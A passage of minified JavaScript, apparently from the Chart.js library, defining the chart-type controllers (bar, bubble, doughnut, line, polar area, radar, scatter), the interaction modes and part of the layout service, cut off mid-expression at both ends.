null===o&&(o=r-(null===s?e.end-e.start:s-r)),null===s&&(s=r+r-o),i=r-(r-Math.min(o,s))/2*l,{chunk:Math.abs(s-o)/2*l/e.stackCount,ratio:n.barPercentage,start:i}}(e,n,i):function(t,e,n){var i,a,r=n.barThickness,o=e.stackCount,s=e.pixels[t],l=H.isNullOrUndef(r)?function(t,e){var n,i,a,r,o=t._length;for(a=1,r=e.length;a<r;++a)o=Math.min(o,Math.abs(e[a]-e[a-1]));for(a=0,r=t.getTicks().length;a<r;++a)i=t.getPixelForTick(a),o=a>0?Math.min(o,Math.abs(i-n)):o,n=i;return o}(e.scale,e.pixels):-1;return H.isNullOrUndef(r)?(i=l*n.categoryPercentage,a=n.barPercentage):(i=r*o,a=1),{chunk:i/o,ratio:a,start:s-i/2}}(e,n,i),r=this.getStackIndex(t,this.getMeta().stack),o=a.start+a.chunk*r+a.chunk/2,s=Math.min(St(i.maxBarThickness,1/0),a.chunk*a.ratio);return{base:o-s/2,head:o+s/2,center:o,size:s}},draw:function(){var t=this.chart,e=this._getValueScale(),n=this.getMeta().data,i=this.getDataset(),a=n.length,r=0;for(H.canvas.clipArea(t.ctx,t.chartArea);r<a;++r){var o=e._parseValue(i.data[r]);isNaN(o.min)||isNaN(o.max)||n[r].draw()}H.canvas.unclipArea(t.ctx)},_resolveDataElementOptions:function(){var t=this,e=H.extend({},nt.prototype._resolveDataElementOptions.apply(t,arguments)),n=t._getIndexScale().options,i=t._getValueScale().options;return e.barPercentage=St(n.barPercentage,e.barPercentage),e.barThickness=St(n.barThickness,e.barThickness),e.categoryPercentage=St(n.categoryPercentage,e.categoryPercentage),e.maxBarThickness=St(n.maxBarThickness,e.maxBarThickness),e.minBarLength=St(i.minBarLength,e.minBarLength),e}}),Pt=H.valueOrDefault,At=H.options.resolve;N._set("bubble",{hover:{mode:"single"},scales:{xAxes:[{type:"linear",position:"bottom",id:"x-axis-0"}],yAxes:[{type:"linear",position:"left",id:"y-axis-0"}]},tooltips:{callbacks:{title:function(){return""},label:function(t,e){var n=e.datasets[t.datasetIndex].label||"",i=e.datasets[t.datasetIndex].data[t.index];return n+": ("+t.xLabel+", "+t.yLabel+", "+i.r+")"}}}});var Dt=nt.extend({dataElementType:xt.Point,_dataElementOptions:["backgroundColor","borderColor","borderWidth","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth","hoverRadius","hitRadius","pointStyle","rotation"],update:function(t){var e=this,n=e.getMeta().data;H.each(n,(function(n,i){e.updateElement(n,i,t)}))},updateElement:function(t,e,n){var i=this,a=i.getMeta(),r=t.custom||{},o=i.getScaleForId(a.xAxisID),s=i.getScaleForId(a.yAxisID),l=i._resolveDataElementOptions(t,e),u=i.getDataset().data[e],d=i.index,h=n?o.getPixelForDecimal(.5):o.getPixelForValue("object"==typeof u?u:NaN,e,d),c=n?s.getBasePixel():s.getPixelForValue(u,e,d);t._xScale=o,t._yScale=s,t._options=l,t._datasetIndex=d,t._index=e,t._model={backgroundColor:l.backgroundColor,borderColor:l.borderColor,borderWidth:l.borderWidth,hitRadius:l.hitRadius,pointStyle:l.pointStyle,rotation:l.rotation,radius:n?0:l.radius,skip:r.skip||isNaN(h)||isNaN(c),x:h,y:c},t.pivot()},setHoverStyle:function(t){var e=t._model,n=t._options,i=H.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth,radius:e.radius},e.backgroundColor=Pt(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=Pt(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=Pt(n.hoverBorderWidth,n.borderWidth),e.radius=n.radius+n.hoverRadius},_resolveDataElementOptions:function(t,e){var n=this,i=n.chart,a=n.getDataset(),r=t.custom||{},o=a.data[e]||{},s=nt.prototype._resolveDataElementOptions.apply(n,arguments),l={chart:i,dataIndex:e,dataset:a,datasetIndex:n.index};return n._cachedDataOpts===s&&(s=H.extend({},s)),s.radius=At([r.radius,o.r,n._config.radius,i.options.elements.point.radius],l,e),s}}),Tt=H.valueOrDefault,It=Math.PI,Ft=2*It,Ot=It/2;N._set("doughnut",{animation:{animateRotate:!0,animateScale:!1},hover:{mode:"single"},legendCallback:function(t){var e,n,i,a=document.createElement("ul"),r=t.data,o=r.datasets,s=r.labels;if(a.setAttribute("class",t.id+"-legend"),o.length)for(e=0,n=o[0].data.length;e<n;++e)(i=a.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=o[0].backgroundColor[e],s[e]&&i.appendChild(document.createTextNode(s[e]));return a.outerHTML},legend:{labels:{generateLabels:function(t){var e=t.data;return e.labels.length&&e.datasets.length?e.labels.map((function(n,i){var a=t.getDatasetMeta(0),r=a.controller.getStyle(i);return{text:n,fillStyle:r.backgroundColor,strokeStyle:r.borderColor,lineWidth:r.borderWidth,hidden:isNaN(e.datasets[0].data[i])||a.data[i].hidden,index:i}})):[]}},onClick:function(t,e){var n,i,a,r=e.index,o=this.chart;for(n=0,i=(o.data.datasets||[]).length;n<i;++n)(a=o.getDatasetMeta(n)).data[r]&&(a.data[r].hidden=!a.data[r].hidden);o.update()}},cutoutPercentage:50,rotation:-Ot,circumference:Ft,tooltips:{callbacks:{title:function(){return""},label:function(t,e){var n=e.labels[t.index],i=": "+e.datasets[t.datasetIndex].data[t.index];return H.isArray(n)?(n=n.slice())[0]+=i:n+=i,n}}}});var Lt=nt.extend({dataElementType:xt.Arc,linkScales:H.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],getRingIndex:function(t){for(var e=0,n=0;n<t;++n)this.chart.isDatasetVisible(n)&&++e;return e},update:function(t){var e,n,i,a,r=this,o=r.chart,s=o.chartArea,l=o.options,u=1,d=1,h=0,c=0,f=r.getMeta(),g=f.data,p=l.cutoutPercentage/100||0,m=l.circumference,v=r._getRingWeight(r.index);if(m<Ft){var b=l.rotation%Ft,x=(b+=b>=It?-Ft:b<-It?Ft:0)+m,y=Math.cos(b),_=Math.sin(b),k=Math.cos(x),w=Math.sin(x),M=b<=0&&x>=0||x>=Ft,S=b<=Ot&&x>=Ot||x>=Ft+Ot,C=b<=-Ot&&x>=-Ot||x>=It+Ot,P=b===-It||x>=It?-1:Math.min(y,y*p,k,k*p),A=C?-1:Math.min(_,_*p,w,w*p),D=M?1:Math.max(y,y*p,k,k*p),T=S?1:Math.max(_,_*p,w,w*p);u=(D-P)/2,d=(T-A)/2,h=-(D+P)/2,c=-(T+A)/2}for(i=0,a=g.length;i<a;++i)g[i]._options=r._resolveDataElementOptions(g[i],i);for(o.borderWidth=r.getMaxBorderWidth(),e=(s.right-s.left-o.borderWidth)/u,n=(s.bottom-s.top-o.borderWidth)/d,o.outerRadius=Math.max(Math.min(e,n)/2,0),o.innerRadius=Math.max(o.outerRadius*p,0),o.radiusLength=(o.outerRadius-o.innerRadius)/(r._getVisibleDatasetWeightTotal()||1),o.offsetX=h*o.outerRadius,o.offsetY=c*o.outerRadius,f.total=r.calculateTotal(),r.outerRadius=o.outerRadius-o.radiusLength*r._getRingWeightOffset(r.index),r.innerRadius=Math.max(r.outerRadius-o.radiusLength*v,0),i=0,a=g.length;i<a;++i)r.updateElement(g[i],i,t)},updateElement:function(t,e,n){var i=this,a=i.chart,r=a.chartArea,o=a.options,s=o.animation,l=(r.left+r.right)/2,u=(r.top+r.bottom)/2,d=o.rotation,h=o.rotation,c=i.getDataset(),f=n&&s.animateRotate||t.hidden?0:i.calculateCircumference(c.data[e])*(o.circumference/Ft),g=n&&s.animateScale?0:i.innerRadius,p=n&&s.animateScale?0:i.outerRadius,m=t._options||{};H.extend(t,{_datasetIndex:i.index,_index:e,_model:{backgroundColor:m.backgroundColor,borderColor:m.borderColor,borderWidth:m.borderWidth,borderAlign:m.borderAlign,x:l+a.offsetX,y:u+a.offsetY,startAngle:d,endAngle:h,circumference:f,outerRadius:p,innerRadius:g,label:H.valueAtIndexOrDefault(c.label,e,a.data.labels[e])}});var v=t._model;n&&s.animateRotate||(v.startAngle=0===e?o.rotation:i.getMeta().data[e-1]._model.endAngle,v.endAngle=v.startAngle+v.circumference),t.pivot()},calculateTotal:function(){var t,e=this.getDataset(),n=this.getMeta(),i=0;return H.each(n.data,(function(n,a){t=e.data[a],isNaN(t)||n.hidden||(i+=Math.abs(t))})),i},calculateCircumference:function(t){var e=this.getMeta().total;return e>0&&!isNaN(t)?Ft*(Math.abs(t)/e):0},getMaxBorderWidth:function(t){var e,n,i,a,r,o,s,l,u=0,d=this.chart;if(!t)for(e=0,n=d.data.datasets.length;e<n;++e)if(d.isDatasetVisible(e)){t=(i=d.getDatasetMeta(e)).data,e!==this.index&&(r=i.controller);break}if(!t)return 0;for(e=0,n=t.length;e<n;++e)a=t[e],r?(r._configure(),o=r._resolveDataElementOptions(a,e)):o=a._options,"inner"!==o.borderAlign&&(s=o.borderWidth,u=(l=o.hoverBorderWidth)>(u=s>u?s:u)?l:u);return u},setHoverStyle:function(t){var e=t._model,n=t._options,i=H.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth},e.backgroundColor=Tt(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=Tt(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=Tt(n.hoverBorderWidth,n.borderWidth)},_getRingWeightOffset:function(t){for(var e=0,n=0;n<t;++n)this.chart.isDatasetVisible(n)&&(e+=this._getRingWeight(n));return e},_getRingWeight:function(t){return Math.max(Tt(this.chart.data.datasets[t].weight,1),0)},_getVisibleDatasetWeightTotal:function(){return this._getRingWeightOffset(this.chart.data.datasets.length)}});N._set("horizontalBar",{hover:{mode:"index",axis:"y"},scales:{xAxes:[{type:"linear",position:"bottom"}],yAxes:[{type:"category",position:"left",offset:!0,gridLines:{offsetGridLines:!0}}]},elements:{rectangle:{borderSkipped:"left"}},tooltips:{mode:"index",axis:"y"}}),N._set("global",{datasets:{horizontalBar:{categoryPercentage:.8,barPercentage:.9}}});var Rt=Ct.extend({_getValueScaleId:function(){return this.getMeta().xAxisID},_getIndexScaleId:function(){return this.getMeta().yAxisID}}),zt=H.valueOrDefault,Nt=H.options.resolve,Bt=H.canvas._isPointInArea;function Et(t,e){var n=t&&t.options.ticks||{},i=n.reverse,a=void 0===n.min?e:0,r=void 0===n.max?e:0;return{start:i?r:a,end:i?a:r}}function Wt(t,e,n){var i=n/2,a=Et(t,i),r=Et(e,i);return{top:r.end,right:a.end,bottom:r.start,left:a.start}}function Vt(t){var e,n,i,a;return H.isObject(t)?(e=t.top,n=t.right,i=t.bottom,a=t.left):e=n=i=a=t,{top:e,right:n,bottom:i,left:a}}N._set("line",{showLines:!0,spanGaps:!1,hover:{mode:"label"},scales:{xAxes:[{type:"category",id:"x-axis-0"}],yAxes:[{type:"linear",id:"y-axis-0"}]}});var Ht=nt.extend({datasetElementType:xt.Line,dataElementType:xt.Point,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth","cubicInterpolationMode","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},update:function(t){var e,n,i=this,a=i.getMeta(),r=a.dataset,o=a.data||[],s=i.chart.options,l=i._config,u=i._showLine=zt(l.showLine,s.showLines);for(i._xScale=i.getScaleForId(a.xAxisID),i._yScale=i.getScaleForId(a.yAxisID),u&&(void 0!==l.tension&&void 0===l.lineTension&&(l.lineTension=l.tension),r._scale=i._yScale,r._datasetIndex=i.index,r._children=o,r._model=i._resolveDatasetElementOptions(r),r.pivot()),e=0,n=o.length;e<n;++e)i.updateElement(o[e],e,t);for(u&&0!==r._model.tension&&i.updateBezierControlPoints(),e=0,n=o.length;e<n;++e)o[e].pivot()},updateElement:function(t,e,n){var i,a,r=this,o=r.getMeta(),s=t.custom||{},l=r.getDataset(),u=r.index,d=l.data[e],h=r._xScale,c=r._yScale,f=o.dataset._model,g=r._resolveDataElementOptions(t,e);i=h.getPixelForValue("object"==typeof d?d:NaN,e,u),a=n?c.getBasePixel():r.calculatePointY(d,e,u),t._xScale=h,t._yScale=c,t._options=g,t._datasetIndex=u,t._index=e,t._model={x:i,y:a,skip:s.skip||isNaN(i)||isNaN(a),radius:g.radius,pointStyle:g.pointStyle,rotation:g.rotation,backgroundColor:g.backgroundColor,borderColor:g.borderColor,borderWidth:g.borderWidth,tension:zt(s.tension,f?f.tension:0),steppedLine:!!f&&f.steppedLine,hitRadius:g.hitRadius}},_resolveDatasetElementOptions:function(t){var e=this,n=e._config,i=t.custom||{},a=e.chart.options,r=a.elements.line,o=nt.prototype._resolveDatasetElementOptions.apply(e,arguments);return o.spanGaps=zt(n.spanGaps,a.spanGaps),o.tension=zt(n.lineTension,r.tension),o.steppedLine=Nt([i.steppedLine,n.steppedLine,r.stepped]),o.clip=Vt(zt(n.clip,Wt(e._xScale,e._yScale,o.borderWidth))),o},calculatePointY:function(t,e,n){var i,a,r,o,s,l,u,d=this.chart,h=this._yScale,c=0,f=0;if(h.options.stacked){for(s=+h.getRightValue(t),u=(l=d._getSortedVisibleDatasetMetas()).length,i=0;i<u&&(r=l[i]).index!==n;++i)a=d.data.datasets[r.index],"line"===r.type&&r.yAxisID===h.id&&((o=+h.getRightValue(a.data[e]))<0?f+=o||0:c+=o||0);return s<0?h.getPixelForValue(f+s):h.getPixelForValue(c+s)}return h.getPixelForValue(t)},updateBezierControlPoints:function(){var t,e,n,i,a=this.chart,r=this.getMeta(),o=r.dataset._model,s=a.chartArea,l=r.data||[];function u(t,e,n){return Math.max(Math.min(t,n),e)}if(o.spanGaps&&(l=l.filter((function(t){return!t._model.skip}))),"monotone"===o.cubicInterpolationMode)H.splineCurveMonotone(l);else for(t=0,e=l.length;t<e;++t)n=l[t]._model,i=H.splineCurve(H.previousItem(l,t)._model,n,H.nextItem(l,t)._model,o.tension),n.controlPointPreviousX=i.previous.x,n.controlPointPreviousY=i.previous.y,n.controlPointNextX=i.next.x,n.controlPointNextY=i.next.y;if(a.options.elements.line.capBezierPoints)for(t=0,e=l.length;t<e;++t)n=l[t]._model,Bt(n,s)&&(t>0&&Bt(l[t-1]._model,s)&&(n.controlPointPreviousX=u(n.controlPointPreviousX,s.left,s.right),n.controlPointPreviousY=u(n.controlPointPreviousY,s.top,s.bottom)),t<l.length-1&&Bt(l[t+1]._model,s)&&(n.controlPointNextX=u(n.controlPointNextX,s.left,s.right),n.controlPointNextY=u(n.controlPointNextY,s.top,s.bottom)))},draw:function(){var t,e=this.chart,n=this.getMeta(),i=n.data||[],a=e.chartArea,r=e.canvas,o=0,s=i.length;for(this._showLine&&(t=n.dataset._model.clip,H.canvas.clipArea(e.ctx,{left:!1===t.left?0:a.left-t.left,right:!1===t.right?r.width:a.right+t.right,top:!1===t.top?0:a.top-t.top,bottom:!1===t.bottom?r.height:a.bottom+t.bottom}),n.dataset.draw(),H.canvas.unclipArea(e.ctx));o<s;++o)i[o].draw(a)},setHoverStyle:function(t){var e=t._model,n=t._options,i=H.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth,radius:e.radius},e.backgroundColor=zt(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=zt(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=zt(n.hoverBorderWidth,n.borderWidth),e.radius=zt(n.hoverRadius,n.radius)}}),jt=H.options.resolve;N._set("polarArea",{scale:{type:"radialLinear",angleLines:{display:!1},gridLines:{circular:!0},pointLabels:{display:!1},ticks:{beginAtZero:!0}},animation:{animateRotate:!0,animateScale:!0},startAngle:-.5*Math.PI,legendCallback:function(t){var e,n,i,a=document.createElement("ul"),r=t.data,o=r.datasets,s=r.labels;if(a.setAttribute("class",t.id+"-legend"),o.length)for(e=0,n=o[0].data.length;e<n;++e)(i=a.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=o[0].backgroundColor[e],s[e]&&i.appendChild(document.createTextNode(s[e]));return a.outerHTML},legend:{labels:{generateLabels:function(t){var e=t.data;return e.labels.length&&e.datasets.length?e.labels.map((function(n,i){var a=t.getDatasetMeta(0),r=a.controller.getStyle(i);return{text:n,fillStyle:r.backgroundColor,strokeStyle:r.borderColor,lineWidth:r.borderWidth,hidden:isNaN(e.datasets[0].data[i])||a.data[i].hidden,index:i}})):[]}},onClick:function(t,e){var n,i,a,r=e.index,o=this.chart;for(n=0,i=(o.data.datasets||[]).length;n<i;++n)(a=o.getDatasetMeta(n)).data[r].hidden=!a.data[r].hidden;o.update()}},tooltips:{callbacks:{title:function(){return""},label:function(t,e){return e.labels[t.index]+": "+t.yLabel}}}});var qt=nt.extend({dataElementType:xt.Arc,linkScales:H.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(t){var e,n,i,a=this,r=a.getDataset(),o=a.getMeta(),s=a.chart.options.startAngle||0,l=a._starts=[],u=a._angles=[],d=o.data;for(a._updateRadius(),o.count=a.countVisibleElements(),e=0,n=r.data.length;e<n;e++)l[e]=s,i=a._computeAngle(e),u[e]=i,s+=i;for(e=0,n=d.length;e<n;++e)d[e]._options=a._resolveDataElementOptions(d[e],e),a.updateElement(d[e],e,t)},_updateRadius:function(){var t=this,e=t.chart,n=e.chartArea,i=e.options,a=Math.min(n.right-n.left,n.bottom-n.top);e.outerRadius=Math.max(a/2,0),e.innerRadius=Math.max(i.cutoutPercentage?e.outerRadius/100*i.cutoutPercentage:1,0),e.radiusLength=(e.outerRadius-e.innerRadius)/e.getVisibleDatasetCount(),t.outerRadius=e.outerRadius-e.radiusLength*t.index,t.innerRadius=t.outerRadius-e.radiusLength},updateElement:function(t,e,n){var i=this,a=i.chart,r=i.getDataset(),o=a.options,s=o.animation,l=a.scale,u=a.data.labels,d=l.xCenter,h=l.yCenter,c=o.startAngle,f=t.hidden?0:l.getDistanceFromCenterForValue(r.data[e]),g=i._starts[e],p=g+(t.hidden?0:i._angles[e]),m=s.animateScale?0:l.getDistanceFromCenterForValue(r.data[e]),v=t._options||{};H.extend(t,{_datasetIndex:i.index,_index:e,_scale:l,_model:{backgroundColor:v.backgroundColor,borderColor:v.borderColor,borderWidth:v.borderWidth,borderAlign:v.borderAlign,x:d,y:h,innerRadius:0,outerRadius:n?m:f,startAngle:n&&s.animateRotate?c:g,endAngle:n&&s.animateRotate?c:p,label:H.valueAtIndexOrDefault(u,e,u[e])}}),t.pivot()},countVisibleElements:function(){var t=this.getDataset(),e=this.getMeta(),n=0;return H.each(e.data,(function(e,i){isNaN(t.data[i])||e.hidden||n++})),n},setHoverStyle:function(t){var e=t._model,n=t._options,i=H.getHoverColor,a=H.valueOrDefault;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth},e.backgroundColor=a(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=a(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=a(n.hoverBorderWidth,n.borderWidth)},_computeAngle:function(t){var e=this,n=this.getMeta().count,i=e.getDataset(),a=e.getMeta();if(isNaN(i.data[t])||a.data[t].hidden)return 0;var r={chart:e.chart,dataIndex:t,dataset:i,datasetIndex:e.index};return jt([e.chart.options.elements.arc.angle,2*Math.PI/n],r,t)}});N._set("pie",H.clone(N.doughnut)),N._set("pie",{cutoutPercentage:0});var Ut=Lt,Yt=H.valueOrDefault;N._set("radar",{spanGaps:!1,scale:{type:"radialLinear"},elements:{line:{fill:"start",tension:0}}});var Gt=nt.extend({datasetElementType:xt.Line,dataElementType:xt.Point,linkScales:H.noop,_datasetElementOptions:["backgroundColor","borderWidth","borderColor","borderCapStyle","borderDash","borderDashOffset","borderJoinStyle","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(t){var e,n,i=this,a=i.getMeta(),r=a.dataset,o=a.data||[],s=i.chart.scale,l=i._config;for(void 0!==l.tension&&void 0===l.lineTension&&(l.lineTension=l.tension),r._scale=s,r._datasetIndex=i.index,r._children=o,r._loop=!0,r._model=i._resolveDatasetElementOptions(r),r.pivot(),e=0,n=o.length;e<n;++e)i.updateElement(o[e],e,t);for(i.updateBezierControlPoints(),e=0,n=o.length;e<n;++e)o[e].pivot()},updateElement:function(t,e,n){var i=this,a=t.custom||{},r=i.getDataset(),o=i.chart.scale,s=o.getPointPositionForValue(e,r.data[e]),l=i._resolveDataElementOptions(t,e),u=i.getMeta().dataset._model,d=n?o.xCenter:s.x,h=n?o.yCenter:s.y;t._scale=o,t._options=l,t._datasetIndex=i.index,t._index=e,t._model={x:d,y:h,skip:a.skip||isNaN(d)||isNaN(h),radius:l.radius,pointStyle:l.pointStyle,rotation:l.rotation,backgroundColor:l.backgroundColor,borderColor:l.borderColor,borderWidth:l.borderWidth,tension:Yt(a.tension,u?u.tension:0),hitRadius:l.hitRadius}},_resolveDatasetElementOptions:function(){var t=this,e=t._config,n=t.chart.options,i=nt.prototype._resolveDatasetElementOptions.apply(t,arguments);return i.spanGaps=Yt(e.spanGaps,n.spanGaps),i.tension=Yt(e.lineTension,n.elements.line.tension),i},updateBezierControlPoints:function(){var t,e,n,i,a=this.getMeta(),r=this.chart.chartArea,o=a.data||[];function s(t,e,n){return Math.max(Math.min(t,n),e)}for(a.dataset._model.spanGaps&&(o=o.filter((function(t){return!t._model.skip}))),t=0,e=o.length;t<e;++t)n=o[t]._model,i=H.splineCurve(H.previousItem(o,t,!0)._model,n,H.nextItem(o,t,!0)._model,n.tension),n.controlPointPreviousX=s(i.previous.x,r.left,r.right),n.controlPointPreviousY=s(i.previous.y,r.top,r.bottom),n.controlPointNextX=s(i.next.x,r.left,r.right),n.controlPointNextY=s(i.next.y,r.top,r.bottom)},setHoverStyle:function(t){var e=t._model,n=t._options,i=H.getHoverColor;t.$previousStyle={backgroundColor:e.backgroundColor,borderColor:e.borderColor,borderWidth:e.borderWidth,radius:e.radius},e.backgroundColor=Yt(n.hoverBackgroundColor,i(n.backgroundColor)),e.borderColor=Yt(n.hoverBorderColor,i(n.borderColor)),e.borderWidth=Yt(n.hoverBorderWidth,n.borderWidth),e.radius=Yt(n.hoverRadius,n.radius)}});N._set("scatter",{hover:{mode:"single"},scales:{xAxes:[{id:"x-axis-1",type:"linear",position:"bottom"}],yAxes:[{id:"y-axis-1",type:"linear",position:"left"}]},tooltips:{callbacks:{title:function(){return""},label:function(t){return"("+t.xLabel+", "+t.yLabel+")"}}}}),N._set("global",{datasets:{scatter:{showLine:!1}}});var Xt={bar:Ct,bubble:Dt,doughnut:Lt,horizontalBar:Rt,line:Ht,polarArea:qt,pie:Ut,radar:Gt,scatter:Ht};function Kt(t,e){return t.native?{x:t.x,y:t.y}:H.getRelativePosition(t,e)}function Zt(t,e){var n,i,a,r,o,s,l=t._getSortedVisibleDatasetMetas();for(i=0,r=l.length;i<r;++i)for(a=0,o=(n=l[i].data).length;a<o;++a)(s=n[a])._view.skip||e(s)}function $t(t,e){var n=[];return Zt(t,(function(t){t.inRange(e.x,e.y)&&n.push(t)})),n}function Jt(t,e,n,i){var a=Number.POSITIVE_INFINITY,r=[];return Zt(t,(function(t){if(!n||t.inRange(e.x,e.y)){var o=t.getCenterPoint(),s=i(e,o);s<a?(r=[t],a=s):s===a&&r.push(t)}})),r}function Qt(t){var e=-1!==t.indexOf("x"),n=-1!==t.indexOf("y");return function(t,i){var a=e?Math.abs(t.x-i.x):0,r=n?Math.abs(t.y-i.y):0;return Math.sqrt(Math.pow(a,2)+Math.pow(r,2))}}function te(t,e,n){var i=Kt(e,t);n.axis=n.axis||"x";var a=Qt(n.axis),r=n.intersect?$t(t,i):Jt(t,i,!1,a),o=[];return r.length?(t._getSortedVisibleDatasetMetas().forEach((function(t){var e=t.data[r[0]._index];e&&!e._view.skip&&o.push(e)})),o):[]}var ee={modes:{single:function(t,e){var n=Kt(e,t),i=[];return Zt(t,(function(t){if(t.inRange(n.x,n.y))return i.push(t),i})),i.slice(0,1)},label:te,index:te,dataset:function(t,e,n){var i=Kt(e,t);n.axis=n.axis||"xy";var a=Qt(n.axis),r=n.intersect?$t(t,i):Jt(t,i,!1,a);return r.length>0&&(r=t.getDatasetMeta(r[0]._datasetIndex).data),r},"x-axis":function(t,e){return te(t,e,{intersect:!1})},point:function(t,e){return $t(t,Kt(e,t))},nearest:function(t,e,n){var i=Kt(e,t);n.axis=n.axis||"xy";var a=Qt(n.axis);return Jt(t,i,n.intersect,a)},x:function(t,e,n){var i=Kt(e,t),a=[],r=!1;return Zt(t,(function(t){t.inXRange(i.x)&&a.push(t),t.inRange(i.x,i.y)&&(r=!0)})),n.intersect&&!r&&(a=[]),a},y:function(t,e,n){var i=Kt(e,t),a=[],r=!1;return Zt(t,(function(t){t.inYRange(i.y)&&a.push(t),t.inRange(i.x,i.y)&&(r=!0)})),n.intersect&&!r&&(a=[]),a}}},ne=H.extend;function ie(t,e){return H.where(t,(function(t){return t.pos===e}))}function ae(t,e){return t.sort((function(t,n){var i=e?n:t,a=e?t:n;return i.weight===a.weight?i.index-a.index:i.weight-a.weight}))}function re(t,e,n,i){return Math.max(t[n],e[n])+Math.max(t[i],e[i])}function oe(t,e,n){var i,a,r=n.box,o=t.maxPadding;if(n.size&&(t[n.pos]-=n.size),n.size=n.horizontal?r.height:r.width,t[n.pos]+=n.size,r.getPadding){var s=r.getPadding();o.top=Math.max(o.top,s.top),o.left=Math.max(o.left,s.left),o.bottom=Math.max(o.bottom,s.bottom),o.right=Math.max(o.right,s.right)}if(i=e.outerWidth-re(o,t,"left","right"),a=e.outerHeight-re(o,t,"top","bottom"),i!==t.w||a!==t.h){t.w=i,t.h=a;var l=n.horizontal?[i,t.w]:[a,t.h];return!(l[0]===l[1]||isNaN(l[0])&&isNaN(l[1]))}}function se(t,e){var n=e.maxPadding;return function(t){var i={left:0,top:0,right:0,bottom:0};return t.forEach((function(t){i[t]=Math.max(e[t],n[t])})),i}(t?["left","right"]:["top","bottom"])}function le(t,e,n){var i,a,r,o,s,l,u=[];for(i=0,a=t.length;i<a;++i)(o=(r=t[i]).box).update(r.width||e.w,r.height||e.h,se(r.horizontal,e)),oe(e,n,r)&&(l=!0,u.length&&(s=!0)),o.fullWidth||u.push(r);return s&&le(u,e,n)||l}function ue(t,e,n){var i,a,r,o,s=n.padding,l=e.x,u=e.y;for(i=0,a=t.length;i<a;++i)o=(r=t[i]).box,r.horizontal?(o.left=o.fullWidth?s.left:e.left,o.right=o.fullWidth?n.outerWidth-s.right:e.left+e.w,o.top=u,o.bottom=u+o.height,o.width=o.right-o.left,u=o.bottom):(o.left=l,o.right=l+o.width,o.top=e.top,o.bottom=e.top+e.h,o.height=o.bottom-o.top,l=o.right);e.x=l,e.y=u}N._set("global",{layout:{padding:{top:0,right:0,bottom:0,left:0}}});var de,he={defaults:{},addBox:function(t,e){t.boxes||(t.boxes=[]),e.fullWidth=e.fullWidth||!1,e.position=e.position||"top",e.weight=e.weight||0,e._layers=e._layers||function(){return[{z:0,draw:function(){e.draw.apply(e,arguments)}}]},t.boxes.push(e)},removeBox:function(t,e){var n=t.boxes?t.boxes.indexOf(e):-1;-1!==n&&t.boxes.splice(n,1)},configure:function(t,e,n){for(var i,a=["fullWidth","position","weight"],r=a.length,o=0;o<r;++o)i=a[o],n.hasOwnProperty(i)&&(e[i]=n[i])},update:function(t,e,n){if(t){var i=t.options.layout||{},a=H.options.toPadding(i.padding),r=e-a.width,o=n-a.height,s=function(t){var e=function(t){var e,n,i,a=[];for(e=0,n=(t||[]).length;e<n;++e)i=t[e],a.push({index:e,box:i,pos:i.position,horizontal:i.isHorizontal(),weight:i.weight});return a}(t),n=ae(ie(e,"left"),!0),i=ae(ie(e,"right")),a=ae(ie(e,"top"),!0),r=ae(ie(e,"bottom"));return{leftAndTop:n.concat(a),rightAndBottom:i.concat(r),chartArea:ie(e,"chartArea"),vertical:n.concat(i),horizontal:a.concat(r)}}(t.boxes),l=s.vertical,u=s.horizontal,d=Object.freeze({outerWidth:e,outerHeight:n,padding:a,availableWidth:r,vBoxMaxWidth:r/2/l.length,hBoxMaxHeight:o/2}),h=ne({maxPadding:ne({},a),w:r,h:o,x:a.left,y:a.top},a);!function(t,e){var n,i,a;for(n=0,i=t.length;n<i;++n)(a=t[n]).width=a.horizontal?a.box.fullWidth&&e.availableWidth:e.vBoxMaxWidth,a.height=a.horizontal&&e.hBoxMaxHeight}(l.concat(u),d),le(l,h,d),le(u,h,d)&&le(l,h,d),function(t){var e=t.maxPadding;function n(n){var i=Math.max(e[n]-t[n],0);return 